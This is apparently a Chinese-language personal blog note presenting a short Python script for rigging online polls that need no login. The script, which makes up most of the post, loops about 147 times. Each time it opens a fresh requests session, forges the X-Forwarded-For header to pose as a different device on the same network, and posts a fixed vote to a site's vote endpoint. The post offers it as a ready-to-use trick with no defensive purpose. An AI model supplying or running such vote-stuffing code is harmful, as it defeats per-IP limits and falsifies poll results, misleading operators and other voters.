1. 程式人生 > >[python 學習筆記] 簡單刷投票功能

[python 學習筆記] 簡單刷投票功能

ets con ext erer wifi turn 發送 use gen

最近好久沒寫了,其實有道雲裏積累了好多,但是沒時間整理。

實在是太多事情要做了

好多投票都是不需要登錄的,這種刷起來很簡單。 原理就是 X-Forwarded-For 。廢話不多說上代碼

import requests
import time

host = 'xx'
def getSession():
    ss = requests.session()
    ss.headers['Host']= host
    ss.headers['Connection']=r'keep-alive'
    ss.headers['Accept']=r'*/*'
    ss.headers['Origin']=r'http://zhengwen.hecul.com'
    ss.headers['X-Requested-With']=r'XMLHttpRequest'
    ss.headers['User-Agent']=r'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36'
    ss.headers['Content-Type']=r'application/x-www-form-urlencoded; charset=UTF-8'
    ss.headers['Referer']=host
    ss.headers['Accept-Encoding']=r'gzip, deflate'
    ss.headers['Accept-Language']=r'zh-CN,zh;q=0.8,en;q=0.6,en-GB;q=0.4'
    return ss

for x in range(3,150):
    try:
        time.sleep(3)
        ss = getSession()
        # 模擬同一wifi不同設備。
        ss.headers["X-Forwarded-For"] = '192.168.0.'+ str(x)
        # 獲取cookie
        ss.get(host)

        # 設置數據長度。可以由下邊 data 獲取
        data='id=2&voteoption=101'
        ss.headers['Content-Length'] = str(len(data))

        # 發送數據
        r = ss.post(r'%s/plug/vote/'%host,data=data)
        print(r.text)
    except Exception as e:
        print(str(e))
        pass

[python 學習筆記] 簡單刷投票功能